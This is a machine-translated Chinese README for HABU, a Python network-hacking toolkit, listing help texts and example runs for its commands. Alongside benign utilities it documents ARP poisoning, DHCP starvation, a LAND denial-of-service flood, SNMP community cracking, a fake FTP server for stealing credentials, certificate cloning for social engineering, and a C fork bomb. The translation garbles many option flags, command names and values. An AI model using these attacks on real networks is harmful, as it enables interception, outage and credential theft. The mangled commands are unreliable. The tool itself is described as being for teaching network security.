habu
A lot of fixes!
我正在開發HABU,以教(並學習)一些有關Python和網絡黑客入侵的概念。
當前版本中實施的一些技術是:
該軟件的開發由Securetia SRL(https://www.securetia.com/)支持
https://fportantier.github.io/hacking-with-habu/詳細介紹了各種有用的用法方案
以下YouTube播放列表具有顯示安裝和用法的視頻:
https://www.youtube.com/watch?v=rgp9Sellyqe&list=pl4hznx8vnfxqsvnw7x-bxonbxon0dgxndfnvd
如果您想討論一些HABU功能,可能的改進等,則可以使用HABU電報組:https://t.me/python_habu
問題和拉的請求必鬚髮送到github repo:https://github.com/fportantier/habu
建議安裝方法:
$ python3 -m pip install -upgrade git+https://github.com/fportantier/habu.git
這必須適用於安裝Python 3的任何系統。
注意:在某些系統(例如Microsoft Windows)上,您必須調整命令以指向Python可執行文件的正確路徑。
現在,我們有一個命令可以直接從git repo升級並清潔任何不再存在或更名的舊命令。
$ habu.upgrade
所有命令都會實現選項“ - 螺旋”,該選項顯示了幫助,參數,選項和默認值。
幾乎所有命令都使用“ -v”選項實現詳細模式。這可以為您提供有關HABU在做什麼的額外信息。
用法:habu.arp.ping [選項] IP 發送ARP數據包以檢查主機是否在本地網絡中還活著。 例子: #Habu.arp.ping 192.168.0.1 Ether / ARP在A4:08:F5:19:17:A4說192.168.0.1 / padding 選項: - 我要使用的文本接口 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.arp.poison [選項]受害者1受害者2 將ARP“ IS-AT”數據包發送給每個受害者,使他們的ARP表中毒 將流量發送到您的系統。 注意:如果您想在中間攻擊中一個完整的工作人員,則需要 使您的操作系統上的數據包轉發為 路由器。您可以使用: #迴聲1>/proc/sys/net/ipv4/ip_forward 例子: #HABU.ARPOISON 192.168.0.1 192.168.0.77 Ether / ARP在F4:96:34:E5:AE:AE:1B說192.168.0.77 Ether / ARP在F4:96:34:E5:AE:AE:1B說192.168.0.70 Ether / ARP在F4:96:34:E5:AE:AE:1B說192.168.0.77 ... 選項: - 我要使用的文本接口 -v冗長 - 主持人顯示此消息和退出。
用法:habu.arp.sniff [選項] 聆聽ARP數據包並顯示每個設備的信息。 列:上數據包的幾秒鐘| IP | Mac |小販 例子: 1 192.168.0.1 A4:08:F5:19:17:A4 SAGEMCOM寬帶SAS 7 192.168.0.2 64:BC:0C:33:E5:57 LG電子(移動通信) 2 192.168.0.5 00:C2:C6:30:2C:58英特爾公司 6 192.168.0.7 54:F2:01:DB:35:58三星電子公司,有限公司 選項: - 我要使用的文本接口 - 主持人顯示此消息和退出。
用法:habu.asydns [選項]
使用公共和私人RSA密鑰請求DNS域名
asydns協議https://github.com/portantier/ashasydns
例子:
$ habu.asydns -v
生成RSA密鑰...
加載RSA鍵...
{
“ ip”:“ 181.31.41.231”,
“名稱”:“ 07286E90FD6EE7E6BE61D6A7919967CF3BBFB23A36EDBC72B6D7C53.A.ASYDNS.org”
}
$ dig +短07286E90FD6EE7E6BE61D6A7919967CF3BBFB23A36EDBC72B6D7C53.A.ASYDNS.org
181.31.41.231
選項:
-U文本API URL
-g強制新鑰匙對的一代
-r撤銷公鑰
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.b64 [options] [f] 就像命令base64一樣,在base64中編碼或解碼數據。 $ ECHO很棒| habu.b64 YXDLC29TZQO = $ echo yxdlc29tzqo = | habu.b64 -d 驚人的 選項: -D解碼而不是編碼 - 主持人顯示此消息和退出。
用法:habu.cert.clone [options]主機名端口keyfile certfile 連接到SSL/TLS服務器,獲取證書並生成一個 具有相同選項和現場值的證書。 注意:生成的證書無效,但可用於社交 工程攻擊 例子: $ habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem 選項: - 複製 - 延遲複製證書擴展名(默認:false) - 階段生成過期證書(默認:false) -v冗長 - 主持人顯示此消息和退出。
用法:habu.cert.crtsh [選項]域 下載域的證書透明度日誌,並與 DNS查詢是否存在。 使用多線程來提高DNS查詢的性能。 例子: $ habu.crtsh securetia.com alt.securetia.com other.securetia.com www.securetia.com 選項: -c禁用緩存 -n禁用DNS子域驗證 -v詳細輸出 - JSON以JSON格式打印輸出 - 主持人顯示此消息和退出。
用法:habu.cert.names [options] [網絡] 連接到每個主機/端口,並顯示證書名稱的摘要。 要連接的主機是從兩個可能的選項中獲取的: 1。 -I選項(默認值:stdin)。每個行是主機或網絡的文件 2。可以是主機或網絡的參數 如果使用這兩種方法,則將主機和網絡合併為一個列表。 例子: $ habu.cert.names 2.18.60.240/29 2.18.60.241 443 is-microsoft.com microsoft.com privacy.microsoft.com 2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com 2.18.60.243 443 *.mlb.com mlb.com 2.18.60.244 443 [ssl:tlsv1_alert_internal_error] TLSV1警報內部錯誤(_SSSL.C:1056) 2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com 2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn aod.itunes.apple.com aodp-ssl.itunes.apple.com aod-ssl.itunes.apple.com *.blog.sina.com.cn cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com *.dmp.sina.cn is-microsoft.com microsoft.com *.mlb.com mlb.com privacy.microsoft.com 選項: -p文本端口要連接到(逗號分隔列表) -i文件名輸入文件(默認:stdin) -t浮動時間等待每個連接 -v詳細輸出 - JSON以JSON格式打印輸出 - 主持人顯示此消息和退出。
用法:habu.config.del [options]鍵 從配置中刪除鍵。 注意:默認情況下,鍵將轉換為大寫。 例子: $ habu.config.del dns_server 選項: - 主持人顯示此消息和退出。
用法:habu.config.set [選項]鍵值 將值設置為配置密鑰。 注意:默認情況下,鍵將轉換為大寫。 例子: $ habu.config.set dns_server 8.8.8.8 選項: - 主持人顯示此消息和退出。
用法:habu.config.show [選項]
顯示當前的配置。
注意:默認情況下,以其名稱中帶有“鍵”的選項會被遮蔽。
例子:
$ habu.config.show
{
“ dns_server”:“ 8.8.8”,
“ fernet_key”:“ *************”
}
選項:
-k, - 表keys也顯示了關鍵值
- 選擇文本...寫入config(鍵值)
- 主持人顯示此消息和退出。
用法:habu.crack.luhn [選項]編號 具有盧恩經過驗證的數字的已知值,獲取可能 未知數。 使用Luhn算法進行驗證的數字是信用卡,IMEI, 美國國家提供商標識符,加拿大社會 保險號碼,以色列ID號和希臘社會保險號 (αμκα)。 “ - ”字符被忽略。 用“ x”字符定義丟失的數字。 參考:https://en.wikipedia.org/wiki/luhn_algorithm 例子: $ habu.crack.luhn 4509-XX08-3160-6445 4509000831606445 4509180831606445 4509260831606445 4509340831606445 4509420831606445 4509590831606445 4509670831606445 4509750831606445 4509830831606445 4509910831606445 選項: - 主持人顯示此消息和退出。
用法:habu.crack.snmp [選項] IP 針對IP啟動snmp-get查詢,並告訴您何時找到有效 社區字符串(是一個簡單的SNMP餅乾)。 使用的字典是使用OnesixtyOne工具分佈式的 https://github.com/trailofbits/onesixtyone 例子: #habu.Crack.SNMP 179.125.234.210 社區發現:私人 社區發現:公共 注意:您還可以接收諸如 <univers > <class之類的消息 'scapy.asn1.asn1.asn1 _ class _metaclass'>,我不知道如何替補 他們現在。 選項: -P整數端口要使用 -c文本社區(默認:最常用的列表) - 第一場比賽后停止 -v冗長 - 主持人顯示此消息和退出。
用法:habu.crypto.fernet [選項] 費爾內特密碼。 與HMAC一起使用AES-128-CBC 注意:您必須使用鑰匙與費爾內特(Fernet)密封。 使用-K牧板器或設置Fernet_key配置值。 可以使用命令habu.crypto.fernet.genkey生成鍵 參考:https://github.com/fernet/spec/blob/master/spec.md 例子: $“我想保護這個字符串” | habu.crypto.fernet gaaaaaaabbxncgoculluvnrelytbecwnek9iq5jbkq9jan3jan3wiibuzpqpugv5owvnc6xfia ... $ echo gaaaaaaabbxncgoculluvnrelytbecwnek9iq5jbkq9jan3wiibuzpqpugv5owvnc6xfia ... | habu.crypto.fernet -d 我想保護這個字符串 選項: -k文本鍵 -D解密而不是加密 -TTL整數用於時間戳驗證的時間 -i文件名輸入文件(默認:stdin) -O文件名輸出文件(默認:stdout) - 主持人顯示此消息和退出。
用法:habu.crypto.fernet.genkey [選項] 生成一個新的Fernet鍵,可選地將其寫入〜/.habu.json 例子: $ habu.crypto.fernet.genkey XGVWCIVJWE9UQ7NBVWO796II4DSGD623QOT9GWQNUHG = 選項: -w將此鍵寫給〜/.habu.json - 主持人顯示此消息和退出。
用法:habu.crypto.gppref [選項]密碼 通過Windows 2008組策略解密本地用戶的密碼 偏好。 此值是嵌入在groups.xml文件中的'cpassword'屬性, 存儲在域控制器的Sysvol共享中。 例子: #habu.crypto.gppref azvjmxh/j9kru5n0czx1ubplsujzfe8j7doltpd8tlk TestPassword 選項: - 主持人顯示此消息和退出。
用法:habu.crypto.hasher [options] [f]
計算輸入數據的各種哈希,這可以是文件或流。
例子:
$ habu.crypto.hasher readme.rst
MD5 992A833CD162047DAAA6A236B8AC15AE README.RST
RIPEMD160 0566F9141E65E57CAE93E0E3B70D1D8C2CCB0623 README.RST
SHA1 D7DBFD2C5E2828EB22F776550C826E4166526253 README.RST
SHA256 6BB22D927E1B6307CED616821A1877B6CC35E ... README.RST
SHA512 8743F3EB12A11CF3EDCC16E400FB14D599B4A ... readme.rst
惠而浦96BCC083242E796992C0F3462F330811F9E8C ... readme.rst
您還可以指定要使用哪種算法。在這種情況下,輸出為
僅計算出的哈希值:
$ habu.hasher -a md5 readme.rst
992A833CD162047DAAA6A236B8AC15AE readme.rst
選項:
-a [MD5 | SHA1 | SHA256 | SHA512 | RIPEMD160 |惠而浦]
僅此算法(默認:全部)
- 主持人顯示此消息和退出。
用法:habu.crypto.xor [選項] XOR密碼。 注意:XOR不是“安全密碼”。如果您需要強大的加密貨幣,則必須使用 算法像AES。您可以使用habu.fernet。 例子: $ habu.xor -k mysecretkey -i /bin /ls> x $ habu.xor -k mysecretkey -i xored> uxored $ sha1sum /bin /ls uxed $ 6FCF930FCEE1395A1C95F87DD38413E02DEFF4BB /BIN /LS $ 6FCF930FCEE1395A1C95F87DD38413E02DDEFF4BB UXERED 選項: -K文本加密密鑰 -i文件名輸入文件(默認:stdin) -O文件名輸出文件(默認:stdout) - 主持人顯示此消息和退出。
用法:habu.data.enrich [選項]
豐富數據添加了有趣的信息。
例子:
$ cat/var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich
[
{
“資產”:“ 8.8.8.8”,
“家庭”:“ ipaddress”,
“ asn”:“ 15169”,
“ net”:“ 8.8.8.0/24”,
“ CC”:“我們”,
“ rir”:“ arin”,
“ Asname”:“ Google -Google LLC,美國”
},,
{
“資產”:“ 8.8.4.4”,
“家庭”:“ ipaddress”,
“ asn”:“ 15169”,
“ net”:“ 8.8.4.0/24”,
“ CC”:“我們”,
“ rir”:“ arin”,
“ Asname”:“ Google -Google LLC,美國”
}
這是給出的
選項:
-i文件名輸入文件(默認:stdin)
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.data.extract.domain [options] [infile] 從文件或stdin中提取有效域。 選擇,檢查每個域中是否存在NS寄存器。 例子: $ cat/var/log/some.log | habu.data.extract.domain -c Google.com ibm.com redhat.com 選項: -c檢查域是否已定義NS服務器 -v詳細輸出 -J JSON輸出 - 主持人顯示此消息和退出。
用法:habu.data.extract.email [options] [infile] 從文件或stdin中提取電子郵件地址。 例子: $ cat/var/log/auth.log | habu.data.extract.email [email protected] [email protected] [email protected] 選項: -v詳細輸出 -J JSON輸出 - 主持人顯示此消息和退出。
用法:habu.data.extract.fqdn [options] [infile] 從文件或stdin中提取FQDN(完全合格的域名)。 例子: $ cat/var/log/some.log | habu.data.extract.fqdn www.google.com ibm.com fileserver.redhat.com 選項: -c檢查主機名是否解決 -v詳細輸出 -J JSON輸出 - 主持人顯示此消息和退出。
用法:habu.data.extract.ipv4 [options] [infile] 從文件或stdin提取IPv4地址。 例子: $ cat/var/log/auth.log | habu.data.extract.ipv4 172.217.162.4 23.52.213.96 190.210.43.70 選項: -j, - json json輸出 -U, - 唯一刪除重複項 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.data.filter [options] field [gt | lt | eq | eq | ne | ge | le | in | in | contains | cont | dent
ed |未定義| true | false] [value]
根據操作員過濾數據。
操作員參考:
GT:大於
LT:比
等式:等於
NE:不等於
GE:Greather或等於
LE:較小或等於
在:內部值列表(或網絡內部)
包含:包含值(或網絡地址)
定義:定義值
未定義:該值未定義
正確:價值是正確的
false:值是錯誤的
例子:
$ cat/var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq我們
[
{
“項目”:“ 8.8.8.8”,
“家庭”:“ ipv4_address”,
“ asn”:“ 15169”,
“ net”:“ 8.8.8.0/24”,
“ CC”:“我們”,
“ rir”:“ arin”,
“ Asname”:“ Google -Google LLC,美國”
}
這是給出的
文檔:https://fportantier.github.io/hacking-with-habu/user/data-manipulation.html#data-enrichment
選項:
-i文件名輸入文件(默認:stdin)
-v詳細輸出
- 不否定比較
- 主持人顯示此消息和退出。
用法:habu.data.Select [options]字段 從JSON輸入中選擇一個字段。 例子: $ cat/var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich | habu.data.filter cc eq us | habu.data.Select資產 8.8.8.7 8.8.8.8 8.8.8.9 選項: -i文件名輸入文件(默認:stdin) -v詳細輸出 - JSON JSON輸出 - 主持人顯示此消息和退出。
用法:habu.dhcp.discover [選項] 發送DHCP請求並顯示已回复的設備。 注意:使用“ -v”,您可以看到所有選項(例如DNS服務器) 關於響應。 #habu.dhcp_discover Ether / ip / udp 192.168.0.1:Bootps> 192.168.0.5:Bootpc / bootp / dhcp 選項: - 我要使用的文本接口 -t整數時間(秒)等待響應 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.dhcp.strvation [options] 從偽造的MAC地址發送多個DHCP請求以填寫DHCP 服務器租賃。 分配了所有可用網絡地址時,DHCP服務器 不要發送答复。 因此,可以進行一些攻擊,例如DHCP欺騙。 #habu.dhcp_starvation Ether / IP / UDP 192.168.0.1:Bootps> 192.168.0.6:Bootpc / bootp / dhcp Ether / IP / UDP 192.168.0.1:Bootps> 192.168.0.7:Bootpc / bootp / dhcp Ether / ip / udp 192.168.0.1:Bootps> 192.168.0.8:Bootpc / bootp / dhcp 選項: - 我要使用的文本接口 -t整數時間(秒)等待響應 - 整數時間(秒) -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.dns.lookup.forward [options]主機名
執行給定主機名的前向查找。
例子:
$ habu.dns.lookup.forward Google.com
{
“ ipv4”:“ 172.217.168.46”,
“ IPv6”:“ 2A00:1450:400A:802 :: 200E”
}
選項:
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.dns.lookup.redverse [options] ip_address
對給定的IP地址進行反向查找。
例子:
$ $ habu.dns.lookup.redverse 8.8.8.8
{
“主機名”:“ Google-public-dns-a.google.com”
}
選項:
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.eicar [選項] 打印可用於測試反疑慮引擎的EICAR測試字符串。 更多信息:http://www.eicar.org/86-0--Rested-use.html 例子: $ habu.eicar x5o! p%@ap [4 xzp54(p^)7cc)7} $ eicar-standard-antivirus-test-file! $ h+h+h* 選項: - 主持人顯示此消息和退出。
用法:habu.forkbomb [options] [bash | batch | c | haskell | perl | php | python | ruby]
快捷方式記住如何使用不同語言的叉炸彈。
目前支持:Bash,Batch,C,Haskell,Perl,PHP,Python,Ruby。
例子:
$ habu.forkbomb c
#include <unistd.h>
int main()
{
而(1)
{
叉();
}
返回0;
}
選項:
- 主持人顯示此消息和退出。
用法:habu.fqdn.finder [options] [域] ...
使用各種技術為指定域獲得有效的FQDN。
1。嘗試使用DNS區域轉移的所有FQDN
2。檢查證書透明度日誌
3.連接到指定的端口,獲取SSL證書並從中獲取FQDN
4。連接到網站並根據網站鏈接獲取FQDNS
5。 DNS蠻力的通用名稱
清潔結果以刪除DNS無法解決的FQDN
例子:
$ habu.fqdn.finder Educacionit.com
barometrometralarial.educacionit.com
blog.educacionit.com
ci.educacionit.com
Educacionit.com
intranet.educacionit.com
lecdev.educacionit.com
lecweb.educacionit.com
mail.educacionit.com
Plantillas.educacionit.com
www.educacionit.com
選項:
-t浮動時間等待每個連接
-v詳細輸出
- 調試輸出
- 連接 / - no-connect從已知的FQDN開放端口SSL證書
- 蠻力 / - 裸露的跑步DNS蠻力針對域
-links / - -NO-Links從網站鏈接中提取FQDNS
-xfr / -no-XFR嘗試對域進行DNS區域傳輸
- ctlog / -no-ctlog嘗試從證書透明度獲取FQDN
紀錄
- JSON以JSON格式打印輸出
- 主持人顯示此消息和退出。
用法:habu.gateway.find [選項]網絡 嘗試使用任何主機都有一個路由器來達到外部IP。 對於您的網絡中找到路由器很有用。 首先,使用Arping來檢測Alive Hosts並獲得MAC地址。 稍後,創建一個網絡數據包,並將每個MAC地址作為目標。 最後,打印正確轉發數據包的設備。 例子: #habu.find.gateway 192.168.0.0/24 192.168.0.1 A4:08:F5:19:17:A4 Sagemcom 192.168.0.7 B0:98:2b:5d:22:70 Sagemcom 192.168.0.8 b0:98:2b:5d:1f:e8 sagemcom 選項: - 我要使用的文本接口 - 主機文本主機要達到(默認:8.8.8.8) -TCP使用TCP代替ICMP - DOPT INTEGER範圍目標端口(默認:80) - 以秒為單位(默認值:5)的時間內整數超時 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.host [選項]
收集有關HABU在哪裡運行的主機的信息。
例子:
$ habu.host
{
“內核”:[[
“ Linux”,
“ demo123”,
“ 5.0.6-200.fc29.x86_64”,
“#1 SMP星期三4月3日15:09:51 UTC 2019”,
“ x86_64”,
“ x86_64”
],,
“分配”: [
“ fedora”,
“ 29”,
“二十九”
],,
“ libc”:[
“ glibc”,
“ 2.2.5”
],,
“ Arch”:“ X86_64”,
“ python_version”:“ 3.7.3”,
“ os_name”:“ linux”,
“ cpu”:“ x86_64”,
“ static_hostname”:“ demo123”,
“ fqdn”:“ demo123.lab.sierra”
}
選項:
-v詳細輸出。
- 主持人顯示此消息和退出。
用法:habu.http.headers [options]服務器
檢索Web服務器的HTTP標頭。
例子:
$ habu.http.headers http://duckduckgo.com
{
“服務器”:“ nginx”,
“日期”:“ 2019年4月14日,格林尼治標準時間00:00:55”,
“ content-type”:“ text/html”,
“內容長度”:“ 178”,
“連接”:“飼養”,
“位置”:“ https://duckduckgo.com/”,
“ X-Frame-Options”:“ Sameorigin”,
“ content-security-policy”:“默認 - src https:blob:data:'不安全inline''''''''''''''''''''''''''''''''''''''''''''''''''''
“ X-XSS保護”:“ 1; mode = block”,
“ x-content-type-options”:“ nosniff”,
“推薦人 - 政策”:“原始”,
“ Expect-ct”:“ max-age = 0”,
“到期”:“ 2020年4月13日星期一00:00:55 GMT”,
“ cache-control”:“ max-age = 31536000”
}
選項:
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.http.options [選項]服務器
檢索Web服務器的可用HTTP方法。
例子:
$ habu.http.options -v http://google.com
{
“允許”:“去,頭”
}
選項:
-v詳細輸出
- 主持人顯示此消息和退出。
用法:habu.http.Tech [選項] URL 使用Wappalyzer Apps.json數據庫來識別網絡上使用的技術 應用。 參考:https://github.com/aliasio/wappalyzer 注意:此工具僅發送一個請求。所以,它是隱身而不是 可疑的。 $ habu.web.tech https://woocomerce.com Google標籤管理器未知 mysql未知 nginx未知 PHP未知 原型未知 requirejs未知 WooCommerce 3.8.0 WordPress 5.2.4 Yoast SEO 10.0.1 選項: - 調查 / -NO-CACHE -Format [TXT | CSV | JSON]輸出格式 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.icmp.ping [選項] IP 發送ICMP迴聲請求的經典ping工具。 #habu.icmp.ping 8.8.8.8 IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Reply 0 /填充 IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Reply 0 /填充 IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Reply 0 /填充 IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Reply 0 /填充 選項: - 我要使用的文本接口(默認:auto) -c整數發送多少數據包(默認:Infinit) -t Integer超時以秒為單位(默認:2) -W整數之間的數據包之間有幾秒鐘(默認:1) -v冗長 - 主持人顯示此消息和退出。
用法:habu.ip.asn [選項] IP
使用團隊Cymru IP2ASN服務獲取有關公共IPv4/ipv6的信息。
參考:https://www.team-cymru.com/ip-asn-mapping.html
$ habu.ip.asn 8.8.8.8
{
“ asn”:“ 15169”,
“ net”:“ 8.8.8.0/24”,
“ CC”:“我們”,
“ rir”:“ arin”,
“ Asname”:“ Google -Google LLC,美國”,
“國家”:“美國”
}
選項:
- 主持人顯示此消息和退出。
用法:habu.ip.geolocation [選項] ip_address
從https://ipapi.co/獲取IP adddress的地理位置。
例子:
$ habu.ip.geolocation 8.8.8.8
{
“ IP”:“ 8.8.8.8”,
“城市”:“山景”,
...
“ ASN”:“ AS15169”,
“ org”:“ Google LLC”
}
選項:
-v詳細輸出。
- 主持人顯示此消息和退出。
用法:habu.ip.internal [選項]
獲取本地接口的本地IP地址。
例子:
$ habu.ip.internal
{
“ LO”:{
“ ipv4”:[
{
“ addr”:“ 127.0.0.1”,
“ NetMask”:“ 255.0.0.0”,
“ peer”:“ 127.0.0.1”
}
],,
“ link_layer”:[
{
“ addr”:“ 00:00:00:00:00:00:00”,
“ peer”:“ 00:00:00:00:00:00:00”
}
],,
“ ipv6”:[
{
“ addr”:“ :: 1”,
“ NetMask”:“ FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF/128”
}
這是給出的
},,
...
選項:
-v詳細輸出。
- 主持人顯示此消息和退出。
用法:habu.ip.public [選項] 從https://api.ipify.org獲取連接的公共IP地址。 例子: $ habu.ip.public 80.219.53.185 選項: -4,-IPV4打印您的公共IPv4地址(默認) -6,-IPV6打印您的公共IPv6地址 -j, - json以JSON格式打印輸出 - 主持人顯示此消息和退出。
用法:habu.karma [選項]主機
使用業力服務https://karma.securetia.com檢查IP
各種威脅情報 /聲譽列表。
$ habu.karma www.google.com
www.google.com-> 64.233.190.99
[
“ hphosts_fsa”,
“ hphosts_psh”,
“ hphosts_emd”
這是給出的
注意:您可以使用主機名或主機的IP進行查詢。
選項:
- 主持人顯示此消息和退出。
用法:habu.karma.bulk [options] [infile] 顯示哪些IP地址使用Karma Online內部黑名單 服務。 例子: $ cat/var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk 172.217.162.4 spamhaus_drop,alienvault_spamming 23.52.213.96清潔 190.210.43.70 alienvault_malicious 選項: - JSON JSON輸出 - 巴德僅顯示黑名單中的條目 -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.land [選項] IP 此命令實現了土地攻擊,該命令發送偽造的數據包 源IP地址與目標IP相同。也使用 相同的來源和目標端口。 攻擊很舊,可用於拒絕舊服務 系統,例如Windows NT 4.0。這裡更多信息: https://en.wikipedia.org/wiki/land #sudo habu.land 172.16.0.10 .............. 注意:每個點(。)是一個已發送的數據包。您可以指定發送多少數據包 使用“ -c”選項。默認值永遠不會停止。另外,您可以指定 目標端口,帶有“ -p”選項。 選項: -c整數發送多少數據包(默認:Infinit) -p要使用的整數端口(默認:135) - 我要使用的文本接口 -v冗長 - 主持人顯示此消息和退出。
用法:habu.nc [選項]主機端口 某種NetCat/NCAT替代品。 執行模仿了這種流行工具的感覺。 例子: $ habu.nc -crlf www.portantier.com 80 連接到45.77.113.133 80 頭 / HTTP / 1.0 HTTP/1.0 301永久移動 日期:THU,2018年7月26日21:10:51 GMT 服務器:OpenBSD HTTPD 連接:關閉 內容類型:文本/html 內容長度:443 位置:https://www.portantier.com/ 選項: - 家庭[4 | 6 | 46] IP地址家族 -SSL啟用SSL -crlf使用CRLF進行EOL序列 - 協議[TCP | UDP]第4層協議要使用 -source -IP文本源IP用於使用 - 用於使用的源端口整數範圍源端口 - 主持人顯示此消息和退出。
用法:habu.net.contest [選項] 嘗試連接到各種服務,並檢查是否可以使用您的 互聯網連接。 例子: $ habu.net.contest DNS:是的 FTP:是的 SSH:是的 http:是的 https:是的 選項: - 主持人顯示此消息和退出。
用法:habu.net.interfaces [選項] 顯示系統上可用的網絡接口。 例子: #habu.interfaces #名稱Mac inet inet6 0 ETH0 80:FA:5B:4B:F9:18無 1 lo 00:00:00:00:00:00 127.0.0.1 :: 1 2 WLAN0 F4:96:34:E5:AE:1B 192.168.0.6無 3 VboxNet0 0a:00:27:00:00:00 192.168.56.1 FE80 :: 800:27FF:27FF:FE00:0 選項: -J輸出以JSON格式 - 主持人顯示此消息和退出。
用法:habu.nmap.Excluded [選項] 打印一個隨機端口,該端口不存在於NMAP-Services文件上,因此不是 由NMAP自動掃描。 對於不斷掃描的SSH或RDP等服務有用 他們的默認端口。 例子: #habu.nmap.Excluded 58567 選項: -L整數範圍最低端口要考慮 -h整數範圍最高端口要考慮 - 主持人顯示此消息和退出。
用法:habu.nmap.open [選項] scanfile 閱讀NMAP報告並打印開放端口。 打印導致的端口打開讀取生成的nmap 輸出。 您可以使用它來快速重新將端口列表重新列出其他 工具。 支持和檢測3種輸出格式(NMAP,GNMAP和XML) 例子: #HABU.NMAP.OPEN PORTANTIER.NMAP 22,80,443 選項: -p [TCP | UDP | SCTP]協議(默認= TCP) - 主持人顯示此消息和退出。
用法:habu.nmap.ports [選項] scanfile 閱讀NMAP報告並打印經過測試的端口。 打印已測試的端口,讀取生成的NMAP輸出。 您可以使用它來快速重新將端口列表重新列出其他 工具。 支持和檢測3種輸出格式(NMAP,GNMAP和XML) 例子: #HABU.NMAP.PORTS PORTANTIER.NMAP 21,22,23,80,443 選項: -p [TCP | UDP | SCTP]協議(默認= TCP) - 主持人顯示此消息和退出。
用法:habu.protoscan [選項] IP 發送具有不同協議字段內容的IP數據包以猜測哪個層 有4個協議可用。 輸出顯示哪些協議不會生成“協議無人可樂” ICMP響應。 例子: $ sudo python cmd_ipscan.py 45.77.113.133 1個ICMP 2 IGMP 4 IPENCAP 6 TCP 17 UDP 41 IPv6 47 GRE 50 ESP 51啊 58 ipv6_icmp 97 Etherip 112 VRRP 115 L2TP 132 SCTP 137 mpls_in_ip 選項: - 我要使用的文本接口 -t每個探針的整數超時(默認:2秒) - 所有探測所有協議(默認值:在 /etc /stoloptions中定義) -v詳細輸出 - 主持人顯示此消息和退出。
用法:habu.server.ftp [選項] 基本的偽造FTP服務器,是竊取用戶憑據的唯一目的。 支持SSL/TLS。 例子: #sudo habu.server.ftp -ssl -ssl-cert /tmp/cert.pem -ssl-key /tmp/key.pem 在港口21聆聽 從('192.168.0.27',56832)接受的連接 從192.168.0.27收集的證書! Fabian 123456 選項: - 綁定的文本地址(默認:全部) -p整數要使用的端口(默認:21) -SSL啟用SSL/TLS(默認:false) -ssl-cert文本SSL/TLS CERT文件 -ssl-key文本SSL/TLS密鑰文件 -v冗長 - 主持人顯示此消息和退出。
用法:habu.shodan [選項] IP 簡單的Shodan API客戶端。 打印shodan查詢的JSON結果。 例子: $ habu.shodan 216.58.222.36 ASN AS15169 ISP Google 主機名EZE04S06-IN-F4.1E100.NET,GRU09S17-IN-F36.1E100.NET country_code我們 region_code ca 城市山景 org google Open_Ports TCP/443,TCP/80 選項: - 調查 / -NO-CACHE -v詳細輸出 -Format [TXT | CSV | JSON | NMAP]輸出格式 - 主持人顯示此消息和退出。
用法:habu.shodan.query [選項]查詢
簡單的Shodan API客戶端。
打印shodan查詢的JSON結果。
例子:
$ habu.shodan 8.8.8.8
{
“主機名”:[
“ Google-public-dns-a.google.com”
],,
“ country_code”:“我們”,
“ org”:“ Google”,
“數據”: [
{
“ ISP”:“ Google”,
“運輸”:“ UDP”,
“數據”:“遞歸:啟用”,
“ ASN”:“ AS15169”,
“港口”:53,
“主機名”:[
“ Google-public-dns-a.google.com”
這是給出的
}
],,
“端口”:[
53
這是給出的
}
選項:
-c禁用緩存
-v詳細輸出
-O文件名輸出文件(默認:stdout)
- 主持人顯示此消息和退出。
用法:habu.tcp.flags [選項] IP 發送帶有不同標誌的TCP數據包,並確定收到什麼響應。 它可用於分析不同的TCP/IP堆棧實現方式 和配置以各種標誌組合響應數據包。 例子: #habu.tcp_flags www.portantier.com S-> SA FS-> SA fa-> r sa-> r 默認情況下,命令發送所有可能的標誌組合。你可以 指定必須存在哪些標誌(減少數量 可能的組合),帶有選項'-f'。 另外,您可以指定要在響應上存在的標誌 可以顯示的數據包,並帶有選項'-r'。 使用下一個命令,您會看到所有可能的組合 FIN(f)標誌集並生成一個包含rst(r)標誌的響應。 例子: #habu.tcp_flags -f f -r r r www.portantier.com FPA-> r FSPA-> r fau-> r 選項: -p要使用的整數端口(默認:80) -f必鬚髮送的文本標誌(默認:帶有所有標誌的fuzz) -r響應標誌的文本過濾器(默認:顯示所有響應) -v冗長 - 首先停止與匹配的第一響應 - 主持人顯示此消息和退出。
用法:habu.tcp.isn [選項] IP 創建TCP連接並打印每個TCP初始序列編號 一。 $ sudo habu.tcp.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 注意:您可以獲得圖形表示(需要matplotlib 軟件包)使用“ -g”選項更好地了解隨機性。 選項: -p要使用的整數端口(默認:80) -c整數發送/接收多少數據包(默認:5) - 我要使用的文本接口 -g圖(需要matplotlib) -v詳細輸出 - 主持人顯示此消息和退出。
